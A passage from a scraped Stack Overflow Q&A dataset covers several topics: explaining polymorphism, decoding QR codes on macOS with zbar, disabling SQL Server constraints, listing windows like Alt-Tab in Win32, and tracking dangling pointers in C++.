"text": "<p>Is the ability that objects have to respond to the same message in different ways. </p>\n\n<p>For instance , in languages such as smalltalk, Ruby, Objective-C, you just have to send the message and they will respond.</p>\n\n<pre><code> dao = XmlDao.createNewInstance() #obj 1\n dao.save( data )\n\n dao = RdbDao.createNewnewInstance() #obj 2\n dao.save( data )\n</code></pre>\n\n<p>In this example two different objects, responded in different ways to the same messages: \"createNewInstance() and save( obj )\" </p>\n\n<p>They act in different ways, to the same message. In the above languages, the classes might not even be in the same class hierarchy, it is enough that they respond to the message.</p>\n\n<p>In languages such as Java, C++, C# etc. In order to assign the object to an object reference, they must share the same type hierarchy either by implementing the interface or by being subclass of a common class.</p>\n\n<p>easy .. and simple.</p>\n\n<p>Polymorphism is by far, the most important and relevant feature of object oriented programming. </p>\n"
},
{
"answer_id": 211005,
"author": "JPLemme",
"author_id": 1019,
"author_profile": "https://Stackoverflow.com/users/1019",
"pm_score": 1,
"selected": false,
"text": "<p>Polymorphism is what you get when the same method applies to multiple classes. For example, both a String and a List might have \"Reverse\" methods. Both methods have the same name (\"Reverse\"). Both methods do something very similar (reverse all the characters or reverse the order of the elements in the list). But the implementation of each \"Reverse\" method is different and specific to its class. (In other words, the String reverses itself like a string, and the List reverses itself like a list.)</p>\n\n<p>To use a metaphor, you could say \"Make Dinner\" to a French chef or to a Japanese chef. Each would perform \"make dinner\" in their own characteristic way.</p>\n\n<p>The practical result is that you could create a \"Reversing Engine\" that accepts an object and calls \"Reverse\" on it. As long as the object has a Reverse method, your Reversing Engine will work.</p>\n\n<p>To extend the chef analogy, you could build a \"Waiterbot\" that tells chefs to \"Make Dinner\". The Waiterbot doesn't have to know what type of dinner is going to be made. It doesn't even have to make sure it's talking to a chef. All that matters is that the \"chef\" (or fireman, or vending machine, or pet food dispenser) knows what to do when it's told to \"Make Dinner\".</p>\n\n<p>What this buys you as a programmer is fewer lines of code and either type-safety or late binding. For example here's an example with type safety and early binding (in a c-like language that I'm making up as I go):</p>\n\n<pre><code>class BankAccount {\n void SubtractMonthlyFee\n}\n\nclass CheckingAccount : BankAccount {}\n\nclass SavingsAccount : BankAccount {}\n\nAssessFee(BankAccount acct) {\n // This will work for any class derived from\n // BankAccount; even classes that don't exist yet\n acct.SubtractMonthlyFee\n}\n\nmain() {\n\n CheckingAccount chkAcct;\n SavingsAccount saveAcct;\n\n // both lines will compile, because both accounts\n // derive from \"BankAccount\". If you try to pass in\n // an object that doesn't, it won't compile, EVEN\n // if the object has a \"SubtractMonthlyFee\" method.\n AssessFee(chkAcct);\n AssessFee(saveAcct);\n}\n</code></pre>\n\n<p>Here's an example with no type safety but with late binding:</p>\n\n<pre><code>class DatabaseConnection {\n void ReleaseResources\n}\n\nclass FileHandle {\n void ReleaseResources\n}\n\nFreeMemory(Object obj) {\n // This will work for any class that has a \n // \"ReleaseResources\" method (assuming all\n // classes are ultimately derived from Object.\n obj.ReleaseResources\n}\n\nmain() {\n\n DatabaseConnection dbConn;\n FileHandle fh;\n\n // You can pass in anything at all and it will\n // compile just fine. But if you pass in an\n // object that doesn't have a \"ReleaseResources\"\n // method you'll get a run-time error.\n FreeMemory(dbConn);\n FreeMemory(fh);\n FreeMemory(acct); //FAIL! (but not until run-time)\n}\n</code></pre>\n\n<p>For an excellent example, look at the .NET ToString() method. All classes have it because all classes are derived from the Object class. But each class can implement ToString() in a way that makes sense for itself.</p>\n\n<p>EDIT: Simple != short, IMHO</p>\n"
},
{
"answer_id": 211027,
"author": "eviljack",
"author_id": 750,
"author_profile": "https://Stackoverflow.com/users/750",
"pm_score": 0,
"selected": false,
"text": "<p>It's just a way to get old cold to call new code. You write some application that accepts some \"Shape\" interface with methods that others must implement (example - getArea). If someone comes up with a new whiz-bang way to implement that interface your old code can call that new code via the the getArea method.</p>\n"
},
{
"answer_id": 211069,
"author": "massimo",
"author_id": 24489,
"author_profile": "https://Stackoverflow.com/users/24489",
"pm_score": -1,
"selected": false,
"text": "<p>Polymorphism is the Object Oriented solution to problem of passing a function to another function. In C you can do</p>\n\n<pre><code> void h() { float x=3.0; printf(\"%f\", x); }\n void k() { int y=5; printf(\"%i\", y); }\n void g(void (*f)()) { f(); }\n g(h); // output 3.0\n g(k); // output 5\n</code></pre>\n\n<p>In C things get complicated if the function depends on additional parameters. If the functions h and k depend on different types of parameters you are in trouble and you must use casting. You have to store those parameters in a data structure, and pass a pointer to that data structure to g which passes it to h or k. h and k cast the pointer into a pointer to the proper structure and unpack the data. Very messy and very unsafe because of possible casting errors:</p>\n\n<pre><code> void h(void *a) { float* x=(float*)a; printf(\"%f\",*x); }\n void k(void *a) { int* y=(int*)a; printf(\"%i\",*y); }\n void g(void (*f)(void *a),void *a) { f(a); }\n float x=3.0;\n int y=5;\n g(h,&x); // output x\n g(k,&y); // output y\n</code></pre>\n\n<p>So they invented polymorphism. h and k are promoted to classes and the actual functions to methods, the parameters are member variables of the respective class, h or k. Instead of passing the function around, you pass an instance of the class that contains the function you want. The instance contains its own parameters.</p>\n\n<pre><code>class Base { virtual public void call()=0; }\nclass H : public Base { float x; public void call() { printf(\"%f\",x);} } h;\nclass K : public Base { int y; public void call() { printf(\"%i\",y);} } k;\nvoid g(Base &f) { f.call(); };\nh.x=3.0;\nk.y=5;\ng(h); // output h.x\ng(k); // output k.x\n</code></pre>\n"
},
{
"answer_id": 211086,
"author": "Mark Reid",
"author_id": 24057,
"author_profile": "https://Stackoverflow.com/users/24057",
"pm_score": 2,
"selected": false,
"text": "<p>Same syntax, different semantics.</p>\n"
},
{
"answer_id": 227870,
"author": "Matt Mitchell",
"author_id": 364,
"author_profile": "https://Stackoverflow.com/users/364",
"pm_score": 1,
"selected": false,
"text": "<p>Polymorphism is dividing the world into boxes based on common properties and treating the items in a given box as interchangeable when you only want to use these common properties.</p>\n"
},
{
"answer_id": 227881,
"author": "Bobby Jack",
"author_id": 5058,
"author_profile": "https://Stackoverflow.com/users/5058",
"pm_score": 0,
"selected": false,
"text": "<p>The ability of an object of some type (e.g. a car) to act (e.g. brake) like one of another type (e.g. a vehicle) which usually suggests common ancestry (e.g. car is a subtype of vehicle) at one point in the type hierarchy.</p>\n"
},
{
"answer_id": 267102,
"author": "ljs",
"author_id": 3394,
"author_profile": "https://Stackoverflow.com/users/3394",
"pm_score": 1,
"selected": false,
"text": "<p>Polymorphism is the ability to treat <em>different</em> things as if they were the <em>same</em> thing by establishing a shared identity between them then exploiting it.</p>\n"
},
{
"answer_id": 383763,
"author": "Lasse V. Karlsen",
"author_id": 267,
"author_profile": "https://Stackoverflow.com/users/267",
"pm_score": 3,
"selected": false,
"text": "<p>Apples and oranges are both fruit. Fruit can be eaten. Hence, both apples and oranges can be eaten.</p>\n\n<p>The kicker? You eat them differently! You peel the oranges, but not the apples.</p>\n\n<p>So the implementation differs, but the end result is the same, <em>you eat the fruit</em>.</p>\n"
},
{
"answer_id": 6367890,
"author": "Tony Delroy",
"author_id": 410767,
"author_profile": "https://Stackoverflow.com/users/410767",
"pm_score": 1,
"selected": false,
"text": "<p><strong>Polymorphism is language functionality allowing high-level algorithmic code to operate unchanged on multiple types of data.</strong></p>\n\n<p>This is done by ensuring the operations invoke the right implementation for each data type. Even in an OOP context (as per this question's tag), this \"right implementation\" may be resolved at compile-time or run-time (if your language supports both). In some languages like C++, compiler-supplied support for run-time polymorphism (i.e. virtual dispatch) is specific to OOP, whereas other types of polymorphism can also operate on data types that aren't objects (i.e. not <code>struct</code> or <code>class</code> instances, but may be builtin types like <code>int</code> or <code>double</code>).</p>\n\n<p>( The types of polymorphism C++ supports are listed and contrasted in my answer: <a href=\"https://stackoverflow.com/questions/5854581/polymorphism-in-c/5854862#5854862\">Polymorphism in c++</a> - even if you program other languages, it's potentially instructive )</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210460",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1409636/"
] |
How can polymorphism be described in an easy-to-understand way?
We can find a lot of information about the subject on the Internet and books, like in *[Type polymorphism](http://en.wikipedia.org/wiki/Type_polymorphism)*. But let's try to make it as simple as we can.
|
This is from my [answer](https://stackoverflow.com/questions/154577/polymorphism-vs-overriding-vs-overloading#154628) from a similiar question. Here's an example of polymorphism in pseudo-C#/Java:
```
class Animal
{
abstract string MakeNoise ();
}
class Cat : Animal {
string MakeNoise () {
return "Meow";
}
}
class Dog : Animal {
string MakeNoise () {
return "Bark";
}
}
Main () {
Animal animal = Zoo.GetAnimal ();
Console.WriteLine (animal.MakeNoise ());
}
```
The Main() method doesn't know the type of the animal and depends on a particular implementation's behavior of the MakeNoise() method.
|
210,470 |
<p>Anyone know a QR decoder that works on mac or that might be online? I just need to decode one single image.</p>
|
[
{
"answer_id": 22144524,
"author": "clt60",
"author_id": 632407,
"author_profile": "https://Stackoverflow.com/users/632407",
"pm_score": 4,
"selected": true,
"text": "<p>Unfortunately, the most used library <a href=\"http://trac.koka-in.org/libdecodeqr\" rel=\"noreferrer\">libdecodeqr</a> is depends on OpenCV (gtk2) and it is too hard to compile it on OS X. (Tried to compile it because it is needed by <code>Image::DecodeQR</code> perl module - but unsuccessful).</p>\n\n<p>Fortunately, found this link: <a href=\"http://macscripter.net/viewtopic.php?id=37404\" rel=\"noreferrer\">http://macscripter.net/viewtopic.php?id=37404</a> from citing the next:</p>\n\n<ol>\n<li>Download the <a href=\"http://zbar.sourceforge.net/download.html\" rel=\"noreferrer\">ZBar source code</a>.</li>\n<li>Unpack the the tarball, and open the resulting directory in a Terminal window.</li>\n<li>Type <code>./configure --disable-video --without-python --without-gtk --without-qt</code> to configure the build process, limiting dependencies to ImageMagick.</li>\n<li>Type \"make\" to invoke the build process.</li>\n<li>Type \"sudo make install\", and enter an administrator password when prompted.</li>\n</ol>\n\n<p>You will need <code>ImageMagick</code> what can be installed from <a href=\"http://www.macports.org\" rel=\"noreferrer\">macports</a>.</p>\n\n<p>After installing the ZBar, you can nicely decode qrcode with a command</p>\n\n<pre><code>zbarimg qrcode_file.png\n</code></pre>\n\n<p>Tested on OS X Mavericks 10.9.2 (and Lion/10.7.5)- and works nicely. Becasue it only depends on ImageMagick (exists in macports)- should be easily \"compilable\" on other OS X versions too.</p>\n"
},
{
"answer_id": 47085827,
"author": "The Matt",
"author_id": 8524178,
"author_profile": "https://Stackoverflow.com/users/8524178",
"pm_score": 6,
"selected": false,
"text": "<p>Using brew, it is easy to install zbar, a QR code reader.</p>\n\n<pre><code>brew install zbar\n</code></pre>\n\n<p>Then a QR code can be read by calling:</p>\n\n<pre><code>zbarimg qrcode_file.png\n</code></pre>\n\n<p>Also @jm666, <a href=\"https://stackoverflow.com/q/46066903/8524178\">brew can be used to install opencv</a>.</p>\n"
},
{
"answer_id": 69495435,
"author": "Frederik Rogalski",
"author_id": 11594092,
"author_profile": "https://Stackoverflow.com/users/11594092",
"pm_score": 2,
"selected": false,
"text": "<p>There is an open-source <a href=\"https://github.com/mchehab/zbar\" rel=\"nofollow noreferrer\">command line tool named ZBar</a>. It takes a photo as an argument and extracts the information out of any QRCode that it detects in the image.</p>\n<p>The open-source project <a href=\"https://github.com/FrederikRogalski/QR-Reader-Mac\" rel=\"nofollow noreferrer\">QR-Reader-Mac</a> provides an Applescript script that acts as a wrapper to <code>zbar</code>. You can create a shortcut to the script for processing QRCodes or create a service, as explained below. The script will automatically open the URL contained within the QRCode in your default browser.</p>\n<h2>Usage</h2>\n<p><img src=\"https://user-images.githubusercontent.com/31591562/136548790-18e1fc06-16ef-44a1-9510-6ffa505b9da5.gif\" alt=\"qrreader\" /></p>\n<h2>Step by step</h2>\n<p>ZBar can be easily installed with Homebrew:</p>\n<pre><code>brew install zbar\n</code></pre>\n<p>To install QR-Reader-Mac:</p>\n<ol>\n<li><p>Open the <a href=\"https://github.com/FrederikRogalski/QR-Reader-Mac\" rel=\"nofollow noreferrer\">QR-Reader-Mac GitHub project page</a>, select <code>Code</code>, and download the project as a ZIP file:</p>\n<p><a href=\"https://i.stack.imgur.com/xRylI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xRylI.png\" alt=\"enter image description here\" /></a></p>\n</li>\n<li><p>Double click the ZIP file to extract it.</p>\n</li>\n<li><p>Double click the workflow you want to install. The following Pop-UP should appear: </p>\n</li>\n<li><p>Confirm by pressing <code>install</code>.</p>\n</li>\n<li><p>Open System Preferences and add a shortcut to the open_QRCode service under Keyboard > Shortcuts > Services > General:\n<img src=\"https://user-images.githubusercontent.com/31591562/136544132-bf1d2889-87b1-4971-b30e-04d441ade14c.png\" alt=\"image\" /></p>\n</li>\n</ol>\n<p>(<strong>Important</strong>: Note that QR-Reader-Mac expects to find the executable 'zbarimg' in <code>/usr/local/bin/zbarimg</code>, which is the standard path Homebrew will install it.)</p>\n<h2>Copy to Clipboard</h2>\n<p>The <code>QRCode2Clipboard.workflow</code> can be used to extract the content of the QR-Codes into the Clipboard. It can be installed in the same way as the <code>open_QRCode.workflow</code>.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210470",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26004/"
] |
Anyone know a QR decoder that works on mac or that might be online? I just need to decode one single image.
|
Unfortunately, the most used library [libdecodeqr](http://trac.koka-in.org/libdecodeqr) is depends on OpenCV (gtk2) and it is too hard to compile it on OS X. (Tried to compile it because it is needed by `Image::DecodeQR` perl module - but unsuccessful).
Fortunately, found this link: <http://macscripter.net/viewtopic.php?id=37404> from citing the next:
1. Download the [ZBar source code](http://zbar.sourceforge.net/download.html).
2. Unpack the the tarball, and open the resulting directory in a Terminal window.
3. Type `./configure --disable-video --without-python --without-gtk --without-qt` to configure the build process, limiting dependencies to ImageMagick.
4. Type "make" to invoke the build process.
5. Type "sudo make install", and enter an administrator password when prompted.
You will need `ImageMagick` what can be installed from [macports](http://www.macports.org).
After installing the ZBar, you can nicely decode qrcode with a command
```
zbarimg qrcode_file.png
```
Tested on OS X Mavericks 10.9.2 (and Lion/10.7.5)- and works nicely. Becasue it only depends on ImageMagick (exists in macports)- should be easily "compilable" on other OS X versions too.
|
210,496 |
<p>I continue to get this error:</p>
<pre><code>Object '%s' cannot be renamed because the object participates in enforced dependencies
</code></pre>
<p>I need to find a script that will help me to find all the dependencies that there is with this table. I will need to drop them, rename, then bring them back.</p>
<p>SQL Server 2005</p>
|
[
{
"answer_id": 210512,
"author": "Craig",
"author_id": 27294,
"author_profile": "https://Stackoverflow.com/users/27294",
"pm_score": 3,
"selected": true,
"text": "<p>To disable all contraints</p>\n\n<pre><code>sp_msforeachtable \"ALTER TABLE ? NOCHECK CONSTRAINT all\"\ngo\nsp_msforeachtable \"ALTER TABLE ? DISABLE TRIGGER all\"\ngo\n</code></pre>\n\n<p>To Re-enable</p>\n\n<pre><code>sp_msforeachtable\"ALTER TABLE ? CHECK CONSTRAINT all\"\ngo\nsp_msforeachtable \"ALTER TABLE ? ENABLE TRIGGER all\"\ngo\n</code></pre>\n\n<p>You should easily be able to adapt this to just one table.</p>\n"
},
{
"answer_id": 210640,
"author": "ConcernedOfTunbridgeWells",
"author_id": 15401,
"author_profile": "https://Stackoverflow.com/users/15401",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"https://stackoverflow.com/questions/181909/tool-for-scripting-table-data#181942\">This posting</a> contains a db reverse engineer script that I originally wrote for SQL Server 2000 and ported to 2005. If you look at the bit that does foreign key relationships you can see how to get the dependencies from the data dictionary.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210496",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7952/"
] |
I continue to get this error:
```
Object '%s' cannot be renamed because the object participates in enforced dependencies
```
I need to find a script that will help me to find all the dependencies that there is with this table. I will need to drop them, rename, then bring them back.
SQL Server 2005
|
To disable all contraints
```
sp_msforeachtable "ALTER TABLE ? NOCHECK CONSTRAINT all"
go
sp_msforeachtable "ALTER TABLE ? DISABLE TRIGGER all"
go
```
To Re-enable
```
sp_msforeachtable"ALTER TABLE ? CHECK CONSTRAINT all"
go
sp_msforeachtable "ALTER TABLE ? ENABLE TRIGGER all"
go
```
You should easily be able to adapt this to just one table.
|
210,504 |
<p>I'm creating an alt-tab replacement for Vista but I have some problems listing all active programs.</p>
<p>I'm using EnumWindows to get a list of Windows, but this list is huge. It contains about 400 items when I only have 10 windows open. It seems to be a hwnd for every single control and a lot of other stuff.</p>
<p>So I have to filter this list somehow, but I can't manage to do it exactly as alt-tab does.</p>
<p>This is the code I use to filter the list right now. It works pretty well, but I get some unwanted windows like detached tool-windows in Visual Studio and I also miss windows like iTunes and Warcraft3.</p>
<pre><code>private bool ShouldWindowBeDisplayed(IntPtr window)
{
uint windowStyles = Win32.GetWindowLong(window, GWL.GWL_STYLE);
if (((uint)WindowStyles.WS_VISIBLE & windowStyles) != (uint)WindowStyles.WS_VISIBLE ||
((uint)WindowExStyles.WS_EX_APPWINDOW & windowStyles) != (uint)WindowExStyles.WS_EX_APPWINDOW)
{
return true;
}
return false;
}
</code></pre>
|
[
{
"answer_id": 210519,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 5,
"selected": false,
"text": "<p>Raymond Chen answered this a while back<br>\n(<a href=\"https://devblogs.microsoft.com/oldnewthing/20071008-00/?p=24863\" rel=\"nofollow noreferrer\">https://devblogs.microsoft.com/oldnewthing/20071008-00/?p=24863</a>):</p>\n\n<blockquote>\n <p>It's actually pretty simple although\n hardly anything you'd be able to guess\n on your own. Note: The details of this\n algorithm are an implementation\n detail. It can change at any time, so\n don't rely on it. In fact, it already\n changed with Flip and Flip3D; I'm just\n talking about the Classic Alt+Tab\n window here.</p>\n \n <p>For each visible window, walk up its\n owner chain until you find the root\n owner. Then walk back down the visible\n last active popup chain until you find\n a visible window. If you're back to\n where you're started, then put the\n window in the Alt+Tab list. In\n pseudo-code:</p>\n</blockquote>\n\n<pre><code>BOOL IsAltTabWindow(HWND hwnd)\n{\n // Start at the root owner\n HWND hwndWalk = GetAncestor(hwnd, GA_ROOTOWNER);\n\n // See if we are the last active visible popup\n HWND hwndTry;\n while ((hwndTry = GetLastActivePopup(hwndWalk)) != hwndTry) {\n if (IsWindowVisible(hwndTry)) break;\n hwndWalk = hwndTry;\n }\n return hwndWalk == hwnd;\n}\n</code></pre>\n\n<p>Follow the link to Chen's blog entry for more details and some corner conditions.</p>\n"
},
{
"answer_id": 214213,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>Thanks Mike B.\nThe example from Raymonds blog pointed me in the correct direction.</p>\n\n<p>There are however some exceptions that has to be made, Windows Live messenger got alot of hacks for creating shadows under windows etc :@</p>\n\n<p>Here is my complete code, have been using it for one day now and havn't noticed any differences from the real alt tab. There's some underlying code not posted but it's no problem figuring out what it does. :)</p>\n\n<pre><code> private static bool KeepWindowHandleInAltTabList(IntPtr window)\n {\n if (window == Win32.GetShellWindow()) //Desktop\n return false;\n\n //http://stackoverflow.com/questions/210504/enumerate-windows-like-alt-tab-does\n //http://blogs.msdn.com/oldnewthing/archive/2007/10/08/5351207.aspx\n //1. For each visible window, walk up its owner chain until you find the root owner. \n //2. Then walk back down the visible last active popup chain until you find a visible window.\n //3. If you're back to where you're started, (look for exceptions) then put the window in the Alt+Tab list.\n IntPtr root = Win32.GetAncestor(window, Win32.GaFlags.GA_ROOTOWNER);\n\n if (GetLastVisibleActivePopUpOfWindow(root) == window)\n {\n WindowInformation wi = new WindowInformation(window);\n\n if (wi.className == \"Shell_TrayWnd\" || //Windows taskbar\n wi.className == \"DV2ControlHost\" || //Windows startmenu, if open\n (wi.className == \"Button\" && wi.windowText == \"Start\") || //Windows startmenu-button.\n wi.className == \"MsgrIMEWindowClass\" || //Live messenger's notifybox i think\n wi.className == \"SysShadow\" || //Live messenger's shadow-hack\n wi.className.StartsWith(\"WMP9MediaBarFlyout\")) //WMP's \"now playing\" taskbar-toolbar\n return false;\n\n return true;\n }\n return false;\n }\n\n private static IntPtr GetLastVisibleActivePopUpOfWindow(IntPtr window)\n {\n IntPtr lastPopUp = Win32.GetLastActivePopup(window);\n if (Win32.IsWindowVisible(lastPopUp))\n return lastPopUp;\n else if (lastPopUp == window)\n return IntPtr.Zero;\n else\n return GetLastVisibleActivePopUpOfWindow(lastPopUp);\n }\n</code></pre>\n"
},
{
"answer_id": 57503105,
"author": "vhanla",
"author_id": 537347,
"author_profile": "https://Stackoverflow.com/users/537347",
"pm_score": 0,
"selected": false,
"text": "<p>This is a function in pascal/delphi, you can easily translate it to C#.</p>\n\n<p>It includes support for Windows 10 applications.</p>\n\n<pre class=\"lang-pascal prettyprint-override\"><code>\nEnumWindows(@ListApps, 0);\n\nfunction ListApps(LHWindow: HWND; lParam: Pointer): Boolean; stdcall;\nvar\n LHDesktop: HWND;\n LHParent: HWND;\n LExStyle: DWORD;\n\n AppClassName: array[0..255] of char;\n\n Cloaked: Cardinal;\n\n titlelen: Integer;\n title: String;\nbegin\n\n LHDesktop:=GetDesktopWindow;\n\n GetClassName(LHWindow, AppClassName, 255);\n LHParent:=GetWindowLong(LHWindow,GWL_HWNDPARENT);\n LExStyle:=GetWindowLong(LHWindow,GWL_EXSTYLE);\n\n if AppClassName = 'ApplicationFrameWindow' then\n DwmGetWindowAttribute(LHWindow, DWMWA_CLOAKED, @cloaked, sizeof(Cardinal))\n else\n cloaked := DWM_NORMAL_APP_NOT_CLOAKED;\n\n if IsWindowVisible(LHWindow)\n and (AppClassName <> 'Windows.UI.Core.CoreWindow')\n and ( (cloaked = DWM_NOT_CLOAKED) or (cloaked = DWM_NORMAL_APP_NOT_CLOAKED) )\n and ( (LHParent=0) or (LHParent=LHDesktop) )\n and (Application.Handle<>LHWindow)\n and ((LExStyle and WS_EX_TOOLWINDOW = 0) or (LExStyle and WS_EX_APPWINDOW <> 0))\n then\n begin\n titlelen := GetWindowTextLength(LHWindow);\n SetLength(title, titlelen);\n GetWindowText(LHWindow, PChar(title), titlelen + 1);\n { add each to a list }\n But.ListBox1.Items.Add(title);\n { also add each HWND to the list too, later switch using SwitchToThisWindow }\n { ... }\n end;\n\n\n Result := True;\nend;\n</code></pre>\n"
},
{
"answer_id": 62126899,
"author": "Frogfund",
"author_id": 13656345,
"author_profile": "https://Stackoverflow.com/users/13656345",
"pm_score": 1,
"selected": false,
"text": "<p>Good work vhanla. My Pascal is a bit rusty, but your solution was a great help. I'm new to this, so please excuse my code and/or way of expressing things. The answer is relatively simple.</p>\n\n<p>To make the list of Alt-Tab Windows, it appears you need three criteria</p>\n\n<p>1) The Window must be visible - using GetWindowVisible</p>\n\n<p>2) The Window must not be a Tool bar Window - using GetWindowInfo</p>\n\n<p>3) The Window must not be cloaked - using DwmGetWindowAttribute</p>\n\n<p>I don't believe that you need to look at class names. I think the WS_EX_APPWINDOW flag often fails the test (e.g. Chrome) - even when used in conjunction with the WS_EX_TOOLWINDOW. Also ... I don't think you need to look at the parent Window if you are enumerating Windows at the top level.</p>\n\n<pre><code> public static bool IsAltTabWindow(IntPtr hWnd)\n {\n const uint WS_EX_TOOLWINDOW = 0x00000080;\n const uint DWMWA_CLOAKED = 14;\n\n // It must be a visible Window\n if (!IsWindowVisible(hWnd)) return false;\n\n // It must not be a Tool bar window\n WINDOWINFO winInfo = new WINDOWINFO(true);\n GetWindowInfo(hWnd, ref winInfo); \n if ((winInfo.dwExStyle & WS_EX_TOOLWINDOW) != 0) return false;\n\n // It must not be a cloaked window\n uint CloakedVal;\n DwmGetWindowAttribute(hWnd, DWMWA_CLOAKED, out CloakedVal, sizeof(uint));\n return CloakedVal == 0;\n }\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210504",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I'm creating an alt-tab replacement for Vista but I have some problems listing all active programs.
I'm using EnumWindows to get a list of Windows, but this list is huge. It contains about 400 items when I only have 10 windows open. It seems to be a hwnd for every single control and a lot of other stuff.
So I have to filter this list somehow, but I can't manage to do it exactly as alt-tab does.
This is the code I use to filter the list right now. It works pretty well, but I get some unwanted windows like detached tool-windows in Visual Studio and I also miss windows like iTunes and Warcraft3.
```
private bool ShouldWindowBeDisplayed(IntPtr window)
{
uint windowStyles = Win32.GetWindowLong(window, GWL.GWL_STYLE);
if (((uint)WindowStyles.WS_VISIBLE & windowStyles) != (uint)WindowStyles.WS_VISIBLE ||
((uint)WindowExStyles.WS_EX_APPWINDOW & windowStyles) != (uint)WindowExStyles.WS_EX_APPWINDOW)
{
return true;
}
return false;
}
```
|
Raymond Chen answered this a while back
(<https://devblogs.microsoft.com/oldnewthing/20071008-00/?p=24863>):
>
> It's actually pretty simple although
> hardly anything you'd be able to guess
> on your own. Note: The details of this
> algorithm are an implementation
> detail. It can change at any time, so
> don't rely on it. In fact, it already
> changed with Flip and Flip3D; I'm just
> talking about the Classic Alt+Tab
> window here.
>
>
> For each visible window, walk up its
> owner chain until you find the root
> owner. Then walk back down the visible
> last active popup chain until you find
> a visible window. If you're back to
> where you're started, then put the
> window in the Alt+Tab list. In
> pseudo-code:
>
>
>
```
BOOL IsAltTabWindow(HWND hwnd)
{
// Start at the root owner
HWND hwndWalk = GetAncestor(hwnd, GA_ROOTOWNER);
// See if we are the last active visible popup
HWND hwndTry;
while ((hwndTry = GetLastActivePopup(hwndWalk)) != hwndTry) {
if (IsWindowVisible(hwndTry)) break;
hwndWalk = hwndTry;
}
return hwndWalk == hwnd;
}
```
Follow the link to Chen's blog entry for more details and some corner conditions.
|
210,506 |
<p>This may not be possible, but I figured I'd ask...</p>
<p>Is there any way anyone can think of to track whether or not an automatic variable has been deleted without modifying the class of the variable itself? For example, consider this code:</p>
<pre><code>const char* pStringBuffer;
{
std::string sString( "foo" );
pStringBuffer = sString.c_str();
}
</code></pre>
<p>Obviously, after the block, pStringBuffer is a dangling pointer which may or may not be valid. What I would like is a way to have a wrapper class which contains pStringBuffer (with a casting operator for const char*), but asserts that the variable it's referencing is still valid. By changing the type of the referenced variable I can certainly do it (boost shared_ptr/weak_ptr, for example), but I would like to be able to do it without imposing restrictions on the referenced type.</p>
<p>Some thoughts:</p>
<ul>
<li>I'll probably need to change the assignment syntax to include the referenced variable (which is fine)</li>
<li>I might be able to look at the stack pointer to detect if my wrapper class was allocated "later" than the referenced class, but this seems hacky and not standard (C++ doesn't define stack behavior). It could work, though.</li>
</ul>
<p>Thoughts / brilliant solutions?</p>
|
[
{
"answer_id": 210593,
"author": "Henk",
"author_id": 4613,
"author_profile": "https://Stackoverflow.com/users/4613",
"pm_score": 0,
"selected": false,
"text": "<p>One technique you may find useful is to replace the <code>new</code>/<code>delete</code> operators with your own implementations which mark the memory pages used (allocated by your <code>operator new</code>) as non-accessible when released (deallocated by your <code>operator delete</code>). You will need to ensure that the memory pages are never re-used however so there will be limitations regarding run-time length due to memory exhaustion.</p>\n\n<p>If your application accesses memory pages once they've been deallocated, as in your example above, the OS will trap the attempted access and raise an error. It's not exactly tracking per se as the application will be halted immediately but it does provide feedback :-)</p>\n\n<p>This technique is applicable in narrow scenarios and won't catch all types of memory abuses but it can be useful. Hope that helps.</p>\n"
},
{
"answer_id": 210598,
"author": "Chris Jefferson",
"author_id": 27074,
"author_profile": "https://Stackoverflow.com/users/27074",
"pm_score": 1,
"selected": false,
"text": "<p>In general, it's simply not possible from within C++ as pointers are too 'raw'. Also, looking to see if you were allocated later than the referenced class wouldn't work, because if you change the string, then the c_str pointer may well change.</p>\n\n<p>In this particular case, you could check to see if the string is still returning the same value for c_str. If it is, you are probably still valid and if it isn't then you have an invalid pointer.</p>\n\n<p>As a debugging tool, I would advise using an advanced memory tracking system, like valgrind (available only for linux I'm afraid. Similar programs exist for windows but I believe they all cost money. This program is the only reason I have linux installed on my mac). At the cost of much slower execution of your program, valgrind detects if you ever read from an invalid pointer. While it isn't perfect, I've found it detects many bugs, in particular ones of this type.</p>\n"
},
{
"answer_id": 210698,
"author": "John Zwinck",
"author_id": 4323,
"author_profile": "https://Stackoverflow.com/users/4323",
"pm_score": 0,
"selected": false,
"text": "<p>You could make a wrapper class that works in the simple case you mentioned. Maybe something like this:</p>\n\n<pre><code>X<const char*> pStringBuffer;\n{\n std::string sString( \"foo\" );\n Trick trick(pStringBuffer).set(sString.c_str());\n} // trick goes out of scope; its destructor marks pStringBuffer as invalid\n</code></pre>\n\n<p>But it doesn't help more complex cases:</p>\n\n<pre><code>X<const char*> pStringBuffer;\n{\n std::string sString( \"foo\" );\n {\n Trick trick(pStringBuffer).set(sString.c_str());\n } // trick goes out of scope; its destructor marks pStringBuffer as invalid\n}\n</code></pre>\n\n<p>Here, the invalidation happens too soon.</p>\n\n<p>Mostly you should just write code which is as safe as possible (see: smart pointers), but no safer (see: performance, low-level interfaces), and use tools (valgrind, Purify) to make sure nothing slips through the cracks.</p>\n"
},
{
"answer_id": 211615,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
